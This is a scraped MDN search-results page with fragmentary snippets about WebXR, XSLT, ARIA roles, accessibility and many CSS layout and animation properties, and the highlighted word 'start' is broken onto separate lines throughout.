start and squeezeend events to sense when the squeeze action begins and ends. xrsession.addeventlistener("squeeze", event => { if (event.inputsource.targetraymode == "tracked-pointer") { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { myhandlesqueezewithray(targetraypose.transform); } } }); ...
XSL Transformations in Mozilla FAQ - Web APIs
www.w3.org/1999/xsl/transform. use the <?xml-stylesheet ?> processing instruction instead of the non-standard xml:stylesheet. the most common cause is the mime type handling. to find out which mime type your server sends, look at page info, use extensions like livehttpheaders or a download manager like wget. mozilla won't load xslt stylesheets from a different domain for security reasons. note:
starting in gecko 7.0, both text/xsl and application/xslt+xml are supported mime types for xslt media stylesheets. note that firefox will override your xslt stylesheet if your xml is detected as an rss or atom feed. a known workaround is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by ...
... of the user. thus, using media in <?xml-stylesheet ?> is strongly discouraged. future builds might only load an xslt stylesheet if media is not specified, or if the specified media include screen. this does not affect css stylesheets loaded from the generated dom, those honor media just like in pages without xslt. how do i do transformnode? there is transformtodocument and transformtofragment
starting with mozilla 1.2 final, see using the mozilla javascript interface to xsl transformations. why does internet explorer require a different xslt namespace than mozilla? ie up to version 6 required a deprecated namespace of a xslt working draft, please update to mozilla ;-), ie6+ or msxml3+, as it is fixed there. as the differences between xslt1.0 and the ie implementation of that wd are signif...
ARIA: document role - Accessibility
cles. associated wai-aria roles, states, and properties aria-expanded include with a value of true or false if the document element is collapsible, to indicate if the document is currently expanded or collapsed. other values include the default undefined which means the document is not collapsible. tabindex="0" used to make it focusable so the assistive technology user can tab to it and
start reading right away. keyboard interactions the element should be made focusable by setting the tabindex="0" attribute / value pair on it. this way, the user can tab to it, reading mode is invoked automatically, and the content can be read right away. required javascript features none, except as required by any attributes. for example, if the document is collapsible, then the state and the v...
...equired javascript features none, except as required by any attributes. for example, if the document is collapsible, then the state and the value of aria-expanded must be maintained. examples an example is gmail and the single conversation view. gmail is a web application. when in gmail, most user agent interactions are usurped by the application. however, when the keyboard focus is set on the
starting heading on a single conversation that contains the subject of the conversation, the screen reader user can use the reading mode commands to read through the messages, expand or collapse them, and manipulate them. once focus returns to the message list either by activating the back button or pressing an asociated keystroke, direct application interaction mode is invoked again, and the user can ...
ARIA: tab role - Accessibility
orange; } there are two things we need to do with javascript: we need to change focus and tab index of our tab elements with the right and left arrows, and we need to change the active tab and tabpanel when we click on a tab. to accomplish the first, we listen for the keydown event on the tablist. if the event's keycode is 39 for right arrow or 37 for the left arrow, we react to the event. we
start by setting the tabindex of the current tab element to -1, making it no longer tabbable. then, if the right arrow is being pressed, we increase our tab focus counter by one. if the counter is greater than the number of tab elements we have, we circle back to the first tab by setting that counter to 0. if the left arrow is being pressed, we decrease our tab focus counter by one, and if it is then l...
...ach(tab => { tab.addeventlistener("click", changetabs); }); // enable arrow navigation between tabs in the tab list let tabfocus = 0; tablist.addeventlistener("keydown", e => { // move right if (e.keycode === 39 || e.keycode === 37) { tabs[tabfocus].setattribute("tabindex", -1); if (e.keycode === 39) { tabfocus++; // if we're at the end, go to the
start if (tabfocus >= tabs.length) { tabfocus = 0; } // move left } else if (e.keycode === 37) { tabfocus--; // if we're at the
start, move to the end if (tabfocus < 0) { tabfocus = tabs.length - 1; } } tabs[tabfocus].setattribute("tabindex", 0); tabs[tabfocus].focus(); } }); }); function changet...
ARIA: listbox role - Accessibility
lity for you for free. elements with the role listbox have an implicit aria-orientation value of vertical. when a list is tabbed to, the first item in the list will be selected if nothing else already is. up/down arrows navigate the list, and pressing shift + up/down arrows will move and extend the selection. typing one or more letters will navigate the list items (same letter goes to each item
starting with that, different letters go to the first item
starting with that entire string). if the current item has an associated context menu, shift+f10 will launch that menu. if list items are checkable, space can be used to toggle checkboxes. for selectable list items, space toggles their selection, shift+space can be used to select contiguous items, ctrl+arrow moves without selecting, and ctrl+sp...
...lists with more than five options. end (optional): moves focus to last option. optionally, in a single-select listbox, selection may also move with focus. supporting this key is strongly recommended for lists with more than five options. type-ahead is recommended for all listboxes, especially those with more than seven options: type a character: focus moves to the next item with a name that
starts with the typed character. type multiple characters in rapid succession: focus moves to the next item with a name that
starts with the string of characters typed. multiple selection: authors may implement either of two interaction models to support multiple selection: a recommended model that does not require the user to hold a modifier key, such as shift or control, while navigating the l...
WAI-ARIA Roles - Accessibility
this page lists reference pages covering all the wai-aria roles discussed on mdn. for a full list of roles, see using aria: roles, states, and properties aria: alert rolethe alert role can be used to tell the user an element has been dynamically updated. screen readers will instantly
start reading out the updated content when the role is added. if the user is expected to close the alert, then the alertdialog role should be used instead.aria: application rolethe application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used. this role should only be used to define very dynamic and desktop-like web applications.aria: article rolethe article ro...
...le structure containing data arranged in rows and columns, similar to the native <table> html element.aria: tabpanel rolethe aria tabpanel role indicatesaria: textbox rolethe textbox role is used to identify an element that allows the input of free-form text. aria: timer rolethe timer role indicates to assistive technologies that an element is a numerical counter the amount of elapsed time from a
starting point or the remaining time until an end point. please claim the role you want to work on by adding your name after the role's name: (old pages are linked from https://developer.mozilla.org/docs/web/accessibility/aria/aria_techniques). ones for which the first draft is completed have been removed from the below list. alertdialog banner combobox command columnheader (estelle) complem...
Cognitive accessibility - Accessibility
ssion time limit, or no session time limit at all. examples of timed content include forms, timed reading exercises, and training materials. if the time limit is longer than 20 hours, accommodations are not required. moving, blinking, scrolling it is important not to distract users, especially ones with cognitive disabilities. if moving, blinking, scrolling, or auto-updating information
starts automatically, lasts more than five seconds, and is presented in parallel with other content, the user must able to pause, stop, hide or control it, unless it's an essential functionality. "essential" means that removing the moving, blinking, scrolling, or auto-updating information would fundamentally change the meaning of the content and/or functionality, and information and functionality canno...
...ong with use of icons, images, color and so on. some people have difficulty understanding the meaning of icons and other visual cues. other people may have difficulty understanding the text version of your error message. for these people, also provide things like icons and colors. also, provide feedback on when there is a successful form submission. provide instructions for user input
start the form with text instructions on how to operate it. include labels or instructions when users need to input information, using the <label>, <fieldset>, and <legend> elements to do so. labels should be descriptive and positioned close to the input they relate to. when requiring a specific format for input, provide an example formatted in the proper way. additionally, consider performing server-...
Accessibility documentation index - Accessibility
dmark role semantically denotes a single proposed change to an editable document. this should be used on an element that wraps an element with an insertion role, and one with a deletion role. 51 aria: alert role aria, aria role, aria alert, aria widget, reference the alert role can be used to tell the user an element has been dynamically updated. screen readers will instantly
start reading out the updated content when the role is added. if the user is expected to close the alert, then the alertdialog role should be used instead. 52 aria: application role aria, aria role, aria widget, reference, role application the application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop applicat...
... role indicates 76 aria: textbox role aria, accessibility, needscontent the textbox role is used to identify an element that allows the input of free-form text. 77 aria: timer role aria, aria role, aria widget, reference, role timer the timer role indicates to assistive technologies that an element is a numerical counter the amount of elapsed time from a
starting point or the remaining time until an end point. 78 web applications and aria faq aria, accessibility, guide wai-aria is the accessible rich internet applications specification from the web accessibility initiative at the w3c. aria provides a means to make web applications and widgets more accessible to a diverse range of users, including those who use assistive technologie...
Text labels and names - Accessibility
heckbox" id="emailoptin"> <label for="emailoptin">yes, please send me news about this product.</label> form elements should have a visible text label in addition to having a <label> for every form element, those labels should be visible, not hidden. visible labels help all users understand the purpose of a form element. do not rely on placeholder text, because it disappears as soon as the user
starts typing. frame elements must be labeled frame elements, both <iframe> and the older, obsolete <frame>, must have a title to describe the contents of the frame. use the title attribute to label a frame element. without a title, users of assistive technologies have to navigate into the frame in order to understand what it contains, which can be difficult and confusing. the <frame> element is no...
...the enclosed document's <title>. it's safest and most accessible to provide the same title in both places. content with images must be labeled provide descriptive text for all contentful (that is, non-decorative) images and image-like elements. this includes svg images, <img>, <canvas>, <map>, and <area> elements, as well as <input> elements where type=image and <object> elements where the type
starts with image/. the typical way to do this is with the alt attribute. be sure that the description conveys what is shown in the image. example <img src="milkweed.jgp" alt="black and white close-up photo of milkweed flowers"> interactive elements must be labeled if an element is intended for users to interact with it, it should have a label. interactive elements include links (<a>), form e...
:-moz-loading - CSS: Cascading Style Sheets
note that images that are in the process of loading are not matched by this pseudo-class. note: this selector is mainly intended to be used by theme developers. ...
...note that images that are in the process of loading are not matched by this pseudo-class. note: this selector is mainly intended to be used by theme developers. ...
:indeterminate - CSS: Cascading Style Sheets
ript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields. ...
...hecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields. ...
:nth-child() - CSS: Cascading Style Sheets
whose numeric position in a series of siblings is odd: 1, 3, 5, etc. even represents elements whose numeric position in a series of siblings is even: 2, 4, 6, etc. functional notation <an+b> represents elements in a list whose indices match those found in a custom pattern of numbers, defined by an+b, where: a is an integer step size, b is an integer offset, n is all positive integers,
starting from 0. it can be read as the an+bth element of a list. formal syntax :nth-child( <nth> [ of <complex-selector-list> ]? )where <nth> = <an-plus-b> | even | odd<complex-selector-list> = <complex-selector>#where <complex-selector> = <compound-selector> [ <combinator>? <compound-selector> ]*where <compound-selector> = [ <type-selector>? <subclass-selector>* [ <pseudo-element-selector> <pseudo...
...s of an html table: 1, 3, 5, etc. tr:nth-child(even) or tr:nth-child(2n) represents the even rows of an html table: 2, 4, 6, etc. :nth-child(7) represents the seventh element. :nth-child(5n) represents elements 5 [=5×1], 10 [=5×2], 15 [=5×3], etc. the first one to be returned as a result of the formula is 0 [=5x0], resulting in a no-match, since the elements are indexed from 1, whereas n
starts from 0. this may seem weird at first, but it makes more sense when the b part of the formula is >0, like in the next example. :nth-child(n+7) represents the seventh and all following elements: 7 [=0+7], 8 [=1+7], 9 [=2+7], etc. :nth-child(3n+4) represents elements 4 [=(3×0)+4], 7 [=(3×1)+4], 10 [=(3×2)+4], 13 [=(3×3)+4], etc. :nth-child(-n+3) represents the first three elements. [=-0+3...
:nth-last-child() - CSS: Cascading Style Sheets
st-child(5n) represents elements 5, 10, 15, etc., counting from the end. :nth-last-child(3n+4) represents elements 4, 7, 10, 13, etc., counting from the end. :nth-last-child(-n+3) represents the last three elements among a group of siblings. p:nth-last-child(n) or p:nth-last-child(n+1) represents every <p> element among a group of siblings. this is the same as a simple p selector. (since n
starts at zero, while the last element begins at one, n and n+1 will both select the same elements.) p:nth-last-child(1) or p:nth-last-child(0n+1) represents every <p> that is the first element among a group of siblings, counting from the end. this is the same as the :last-child selector. table example html <table> <tbody> <tr> <td>first line</td> </tr> <tr> <td>second l...
...in this example, list items turn red when there are at least three of them in a given list. this is accomplished by combining the ca...
@document - CSS: Cascading Style Sheets
t can be used on author-defined style sheets, too. @document url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions. if any of the functions apply to a given url, the rule will take effect on that url. the functions available are: url(), which matches an exact url. url-prefix(), which matches if the document url
starts with the value provided. domain(), which matches if the document url is on the domain provided (or a subdomain of it). media-document(), with the parameter of video, image, plugin or all. regexp(), which matches if the document url is matched by the regular expression provided. the expression must match the entire url. the values provided to the url(), url-prefix(), domain(), and media-docu...
... ...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
anging { animation: colorchange 2s; } there are two classes here. the "box" class is the basic description of the box's appearance, without any animation information included. the animation details are included in the "changing" class, which says that the @keyframes named "colorchange" should be used over the course of two seconds to animate the box. note that because of this, the box doesn't
start with any animation effects in place, so it won't be animating. javascript content next we'll look at the javascript that does the work. the meat of this technique is in the play() function, which is called when the user clicks on the "run" button. function play() { document.queryselector(".box").classname = "box"; window.requestanimationframe(function(time) { window.requestanimationfra...
...t of the document. the problem for us is that because it's before the repaint, the style recomputation hasn't actually happened yet! so... our callback cleverly calls requestanimationframe() a second time! this time, the callback is run before the next repaint, which is after the style recomputation has occurred. this callback adds the "changing" class back onto the box, so that the repaint will
start the animation once again. of course, we also need to add an event handler to our "run" button so it'll actually do something: document.queryselector(".runbutton").addeventlistener("click", play, false); result stopping an animation simply removing the animation-name applied to an element will make it jump or cut to its next state. if instead you'd like the animation to complete and then c...
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
d to align an item inside its containing block on the inline axis. this property does not apply to floated elements or table cells. absolutely positioned elements the alignment container is the positioned block, accounting for the offset values of top, left, bottom, and right. the normal keyword resolves to stretch, unless the positioned item is a replaced element, in which case it resolves to
start. align-self the align-self property does not apply to block-level boxes (including floats), because there is more than one item in the block axis. it also does not apply to table cells. absolutely positioned elements the alignment container is the positioned block, accounting for the offset values of top, left, bottom, and right. the normal keyword resolves to stretch, unless the positioned i...
... block-level boxes (including floats), because there is more than one item in the block axis. it also does not apply to table cells. absolutely positioned elements the alignment container is the positioned block, accounting for the offset values of top, left, bottom, and right. the normal keyword resolves to stretch, unless the positioned item is a replaced element, in which case it resolves to
start. aligning in these layout methods today as we do not currently have browser support for box alignment in block layout, your options for alignment are either to use one of the existing alignment methods or, to make even a single item inside a container a flex item in order to use the alignment properties as specified in flexbox. alignment of blocks horizontally prior to flexbox was typically ac...
Box alignment in Flexbox - CSS: Cascading Style Sheets
ify-content: space-around and it is placed either side of the item in that dimension, etc. this means that a justify-self property does not make sense in flexbox as we are always dealing with moving the entire group of items around. on the cross axis align-self makes sense as we potentially have additional space in the flex container in that dimension, in which a single item can be moved to the
start and end. alignment and auto margins there is a specific use case in flexbox where we might think that a justify-self property is what we need, and this is when we want to split a set of flex items, perhaps to create a split navigation pattern. for this use case, we can use an auto margin. a margin set to auto will absorb all available space in its dimension. this is how centering a block with a...
...for this use case, we can use an auto margin. a margin set to auto will absorb all available space in its dimension. this is how centering a block with auto margins works. by setting the left and right margin to auto, both sides of our block try to take up all of the available space and so push the box into the center. by setting a margin of auto on one item in a set of flex items all aligned to
start, we can create a split navigation. this works well with flexbox and the alignment properties. as soon as there is no space available for the auto margin, the item behaves in the same way as all the other flex items and shrinks to try to fit into space. the gap properties row-gap column-gap gap creating fixed size gaps between items on the main axis, the column-gap property will create ...
Using feature queries - CSS: Cascading Style Sheets
r non-supporting browsers and overwriting it with the css inside the feature query. let's walk through a very simple example where feature queries come in handy, which uses them in the way described above. let's say we want to create a layout of three boxes in a row, and ideally we would like to use css grid layout. however, we would like to have a layout for older browsers using floats. we can
start by creating that floated layout with the following code, which gives us three columns. when browsers don't understand a css property or value, they ignore it. so we could
start enhancing our layout by using css grid. browsers that do not support grid will ignore the grid value of the display property. once a floated item becomes a grid item, the float is removed — something you can read more...
...way to write the above code is to wrap all of the grid code in a feature query as follows. this may mean you have a little more code but comes with the benefit of being able to test the fallback by misspelling the property or value name. you can try this in the live example above by changing display: grid in the @supports rule to display: grip or similar. summary feature queries can help you
start to use newer features by enhancing a simpler display of the site used for older browsers. as you can wrap up the css for supporting browsers, you do not run the risk of styles used for the fallback display leaking through, as shown in our grid example above. see also the @supports rule learn layout: supporting older browsers css grid layout and progressive enhancement using feature queries...
Ordering Flex Items - CSS: Cascading Style Sheets
when using flexbox. we will also consider the implications of reordering items from an accessibility point of view. reverse the display of the items the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values keep the items in the same order that they appear in the document source order and display them sequentially from the
start line. the second two values reverse the items by switching the
start and end lines. remember that the
start line relates to writing modes. the row-related examples above demonstrate how row and row-reverse work in a left-to-right language such as english. if you are working in a right-to-left language like arabic then row would
start on the right, row-reverse on the left. this ...
...ource item 5: order: 1 these items would be displayed on the page in the following order: source item 3: order: 1 source item 5: order: 1 source item 1: order: 2 source item 2: order: 3 source item 4: order: 3 you can play around with the values in this live example below and see how that changes the order. also, try changing flex-direction to row-reverse and see what happens — the
start line is switched so the ordering begins from the opposite side. flex items have a default order value of 0, therefore items with an integer value greater than 0 will be displayed after any items that have not been given an explicit order value. you can also use negative values with order, which can be quite useful. if you want to make one item display first, and leave the order of all other i...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
om. if we set margins on the paragraph element to 0 then the borders will touch. by default block elements will consume all of the space in the inline direction, so our paragraphs spread out and get as big as they can inside their containing block. if we give them a width, they will continue to lay out one below the other - even if there would be space for them to be side by side. each will
start against the
start edge of the containing block, so the place at which sentences would begin in that writing mode. margin collapsing the spec explains that margins between block elements collapse. this means that if you have an element with a top margin immediately after an element with a bottom margin, rather than the total space being the sum of these two margins, the margin collapses, and s...
...s to markup your content, and then change the way it displays using css. summary in this guide, we have looked at how elements display in normal flow, as block and inline elements. due to the default behaviour of these elements, an html document with no css styling at all, will display in a readable way. by understanding how normal flow works you will find layout easier, as you understand the
starting point for making changes to how elements are displayed. see also css basic box model normal flow - learn layout inline elements block-level elements ...
Subgrid - CSS: Cascading Style Sheets
giving it column tracks that are a subgrid and defining rows as normal. as the item spans five column tracks, this means that the subgrid has five column tracks. i can then place .subitem on this grid. the rows in this example are not a subgrid and so behave as a nested grid does normally. the grid area on the parent expands to be large enough for this nested grid. note that line numbering re
starts inside the subgrid — column line 1, when inside the subgrid, is the first line of the subgrid. the subgridded element doesn't inherit the line numbers of the parent grid. this means that you can safely lay out a component that may be placed in different positions on the main grid, knowing that the line numbers on the component will always be the same. subgrid for rows the next example is the...
...ay to applying a negative margin to an element, giving the space from the gap back to the item. named grid lines when using css grid you can name lines on your grid and then position items based on those names rather than the line number. the line names on the parent grid are passed into the subgrid, and you can place items using them. in the below example i have named lines on the parent col-
start and col-end and then used those to place the subitem. you can also specify line names on the subgrid. this is achieved by adding a list of line names enclosed in square brackets after the subgrid keyword. if you have four lines in your subgrid, to name them all you could use the syntax grid-template-columns: subgrid [line1] [line2] [line3] [line4] lines specified on the subgrid are added to a...
Inline formatting context - CSS: Cascading Style Sheets
this article explains the inline formatting context core concepts the inline formatting context is part of the visual rendering of a web page. inline boxes are laid out one after the other, in the direction sentences run in the writing mode in use: in a horizontal writing mode, boxes are laid out horizontally,
starting on the left. in a vertical writing mode they would be laid out vertically
starting at the top. in the example below, the two (<div>) elements with the black borders form a block formatting context, inside which each word participates in an inline formatting context. the boxes in the horizontal writing mode run horizontally, and the vertical writing mode boxes run vertically. boxes forming a line are contained by a rectangular area called a line box. this box wi...
... example there is a (<span>) element wrapping a set of words wrapping onto two lines. the border on the <span> breaks at the wrapping point. margins, borders, and padding in the inline direction are respected. in the example below you can see how the margin, border, and padding on the inline <span> element are added. note: i am using the logical, flow-relative properties — padding-inline-
start rather than padding-left — so that they work in the inline dimension whether the text is horizontal or vertical. read more about these properties in logical properties and values. alignment in the block direction inline boxes may be aligned in the block direction in different ways, using the vertical-align property, which will align on the block axis in vertical writing modes (therefore not ...
animation-delay - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. ...
...alue indicates that the animation should begin after the specified amount of time has elapsed. a value of 0s, which is the default, indicates that the animation should begin as soon as it's applied. a negative value causes the animation to begin immediately, but partway through its cycle. for example, if you specify -1s as the animation delay time, the animation will begin immediately but will
start 1 second into the animation sequence. if you specify a negative value for the animation delay, but the
starting value is implicit, the
starting value is taken from the moment the animation is applied to the element. note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different w...
animation-direction - CSS: Cascading Style Sheets
ernate-reverse; /* multiple animations */ animation-direction: normal, reverse; animation-direction: alternate, reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle. in other words, each time the animation cycles, the animation will reset to the beginning state and
start over again. this is the default value. reverse the animation plays backwards each cycle. in other words, each time the animation cycles, the animation will reset to the end state and
start over again. animation steps are performed backwards, and timing functions are also reversed. for example, an ease-in timing function becomes ease-out. alternate the animation reverses direction each cycle, ...
...her words, each time the animation cycles, the animation will reset to the end state and
start over again. animation steps are performed backwards, and timing functions are also reversed. for example, an ease-in timing function becomes ease-out. alternate the animation reverses direction each cycle, with the first iteration being played forwards. the count to determine if a cycle is even or odd
starts at one. alternate-reverse the animation reverses direction each cycle, with the first iteration being played backwards. the count to determine if a cycle is even or odd
starts at one. note: when you specify multiple comma-separated values on an animation-* property, they will be assigned to the animations specified in the animation-name property in different ways depending on how many there...
background-position - CSS: Cascading Style Sheets
*/ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/star...
...<div>s */ div { background-color: #ffee99; background-repeat: no-repeat; width: 300px; height: 80px; margin-bottom: 12px; } /* these examples use the `background` shorthand property */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/
startransparent.gif") #ffee99 2.5cm bottom no-repeat; } .exampletwo { background: url("https://mdn.mozillademos.org/files/11987/
startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last. */ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/
startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px ...
border-block - CSS: Cascading Style Sheets
the border-block css property is a shorthand property for setting the individual logical block border property values in a single place in the style sheet. border-block: 1px; border-block: 2px dotted; border-block: medium dashed blue; border-block can be used to set the values for one or more of border-block-width, border-block-style, and border-block-color setting both the
start and end in the block dimension at once. the physical borders to which it maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top and border-bottom or border-right, and border-left properties depending on the values defined for writing-mode, direction, and text-orientation. the borders in the other dimension can be set with border-inline, which se...
...nsion at once. the physical borders to which it maps depends on the element's writing mode, directionality, and text orientation. it corresponds to the border-top and border-bottom or border-right, and border-left properties depending on the values defined for writing-mode, direction, and text-orientation. the borders in the other dimension can be set with border-inline, which sets border-inline-
start, and border-inline-end. constituent properties this property is a shorthand for the following css properties: border-block-color border-block-style border-block-width syntax values the border-block is specified with one or more of the following, in any order: <'border-width'> the width of the border. see border-width. <'border-style'> the line style of the border. see border-s...
caption-side - CSS: Cascading Style Sheets
e not bound to the table's horizontal layout. the css 2.1 specification notes that the css 2 specification described a different behavior for the bottom value, which will be reintroduced by this value in a future specification. ...
...horizontal layout. the css 2.1 specification notes that the css 2 specification described a different behavior for the bottom value, which will be reintroduced by this value in a future specification. ...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
g block and inline layout, unless we change the value of display to use some other formatting context. creating a grid or flex container also creates a new formatting context (a grid or flex formatting context, respectively.) these also contain everything inside them. however, if you want to contain floats and margins but continue using block and inline layout, you can create a new flow root, and
start over with block and inline layout. from that point downwards everything is contained inside the new flow root. the two-value syntax for display: flow-root being display: block flow-root therefore makes a lot of sense. you are creating a block formatting context, with a block-level box and children participating in normal flow. what about the matched pair display: inline flow-root? this is the ne...
...table inline-flex inline-grid if a supporting browser comes across these as single values then it treats them the same as the two-value versions: inline flow-root inline table inline flex inline grid so all of the current situations are neatly covered, meaning that we maintain compatibility of existing and new sites that use the single values, while allowing the spec to evolve. can i
start to use the two-value syntax? as demonstrated above, there is not a lot of advantage in using the two-value version right now; if you did your page would only work in firefox! other browsers do not yet implement the two-value versions. therefore display: block flex will only get you flex layout in firefox, and will be ignored as invalid in chrome. you can see current support in the compat data fo...
flex-direction - CSS: Cascading Style Sheets
on: row-reverse; /* the direction in which lines of text are stacked */ flex-direction: column; /* like <column>, but reversed */ flex-direction: column-reverse; /* global values */ flex-direction: inherit; flex-direction: initial; flex-direction: unset; values the following values are accepted: row the flex container's main-axis is defined to be the same as the text direction. ...
...but reversed */ flex-direction: column-reverse; /* global values */ flex-direction: inherit; flex-direction: initial; flex-direction: unset; values the following values are accepted: row the flex container's main-axis is defined to be the same as the text direction. the main-
start and main-end points are the same as the content direction. row-reverse behaves the same as row but the main-
start and main-end points are permuted. column the flex container's main-axis is the same as the block-axis. the main-
start and main-end points are the same as the before and after points of the writing-mode. column-reverse behaves the same as column but the main-
start and main-end are permuted. accessibility concerns using the flex-direction property with values of row-reverse or column-reverse...
hanging-punctuation - CSS: Cascading Style Sheets
hanging punctuation may be placed outside the line box. ...
...ues in the list below. two-value syntax uses one of the following: first together with any one of last, allow-end, or force-end last together with any one of first, allow-end, or force-end three-value syntax uses one of the following: first, allow-end, and last first, force-end, and last values none no character hangs. first an opening bracket or quote at the
start of the first formatted line of an element hangs. last a closing bracket or quote at the end of the last formatted line of an element hangs. force-end a stop or comma at the end of a line hangs. allow-end a stop or comma at the end of a line hangs if it does not otherwise fit prior to justification. formal definition initial valuenoneapplies toall elementsinheritedyescomputed valueas spec...
ident - CSS: Cascading Style Sheets
bili.bob only alphanumeric characters, _, and - needn't be escaped. 'bilibob' this would be a <string>. "bilibob" this would be a <string>. specifications specification status comment css values and units module level 4the definition of '<ident>' in that specification. edito...
...acters and a dash -test a dash followed by alphanumeric characters --toto a custom-property like identifier _internal an underscore followed by alphanumeric characters \22 toto a unicode character followed by a sequence of alphanumeric characters bili\.bob a correctly escaped period invalid identifiers 34rem it must not
start with a decimal digit. -12rad it must not
start with a dash followed by a decimal digit. bili.bob only alphanumeric characters, _, and - needn't be escaped. 'bilibob' this would be a <string>. "bilibob" this would be a <string>. specifications specification status comment css values and units module level 4the definition of '<ident>' in that specification. editor's draft css values and units modul...
margin-inline-end - CSS: Cascading Style Sheets
values the margin-inline-end property takes the same values as the margin-left property. formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the spec...
... values the margin-inline-end property takes the same values as the margin-left property. formal definition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea...
offset-path - CSS: Cascading Style Sheets
url() references the id of an svg shape -- circle, ellip...
...ples animating an element with offset-path the offset-path properties in the css code sample defines a motion path that is identical to the <path> element in the svg. the path, as can be seen in the rendering of the svg code, is a line drawing of a house with a chimney. svg the top and bottom halves of the scissors would appear in the top left of the canvas were they not positioned along the
starting point of the motion path defined by offset-path. <svg xmlns="http://www.w3.org/2000/svg" width="700" height="450" viewbox="350 0 1400 900"> <title>house and scissors</title> <rect x="595" y="423" width="610" height="377" fill="blue" /> <polygon points="506,423 900,190 1294,423" fill="yellow" /> <polygon points="993,245 993,190 ...
overscroll-behavior - CSS: Cascading Style Sheets
havior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached. you may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then
start to scroll — this is called scroll chaining. in some cases these behaviors are not desirable. you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's facebook/twitter app-inspired "pull to refresh"-type behavior. syntax the overscroll-behavior property is specified as one or two keywords chosen from the list of values below. two keywords specifies the oversc...
...formal syntax [ contain | none | auto ]{1,2} examples preventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window. both of these areas scroll; normally if you scrolled the chat window until you hit a scroll boundary, the underlying contacts window would
start to scroll too, which is not desirable. this can be stopped using overscroll-behavior-y (overscroll-behavior would also work) on the chat window, like this: .messages { height: 220px; overflow: auto; overscroll-behavior-y: contain; } we also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g. chrome on android refreshes the page w...
ruby-position - CSS: Cascading Style Sheets
rt nosafari no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align:
start).webview android no support nochrome android no support nofirefox android full support 38opera android no support nosafari ios no support nonotes no support ...
... nosafari ios no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align:
start).samsung internet android no support nointer-character experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support...
scroll-margin-inline - CSS: Cascading Style Sheets
the scroll-margin-inline shorthand property sets the scroll margins of an element in the inline dimension. constituent properties this property is a shorthand for the following css properties: scroll-margin-inline-end scroll-margin-inline-
start syntax /* <length> values */ scroll-margin-inline: 10px; scroll-margin-inline: 1em .5em ; /* global values */ scroll-margin-inline: inherit; scroll-margin-inline: initial; scroll-margin-inline: unset; values <length> an outset from the corresponding edge of the scroll container. description the scroll-margin values represent outsets defining the scroll snap area that is used for snapping this box to the snapport. the scroll snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned...
...ird child elements: .scroller > div:nth-child(2) { scroll-margin-inline: 1rem; } .scroller > div:nth-child(3) { scroll-margin-inline: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the inline end edge of the second <div>, and 2rems outside the inline end edge of the third <div>. note: here we are setting scroll-margin on the
start and end of the inline axis (x in our case), but only the end edge is really relevant. it would work just as well here to only set a scroll margin on that one edge, for example with scroll-margin-inline: 0 1rem, or scroll-margin-inline-end: 1rem. result try it for yourself: specifications specification status comment css scroll snap module level 1the definition o...
scroll-margin - CSS: Cascading Style Sheets
ype: x mandatory, which dictates that scroll snapping must occur along the horizontal axis, and the scrolling will always come to rest on a snap point. the child elements are styled as follows: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align:
start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align:
start, which specifies that the left-hand edges (the "
starts" along the x axis, in our case) are the designated snap points. last of all we specify the scroll margin-values, a different one for the second and third child elements: .scroller > div:nth-child(2) { ...
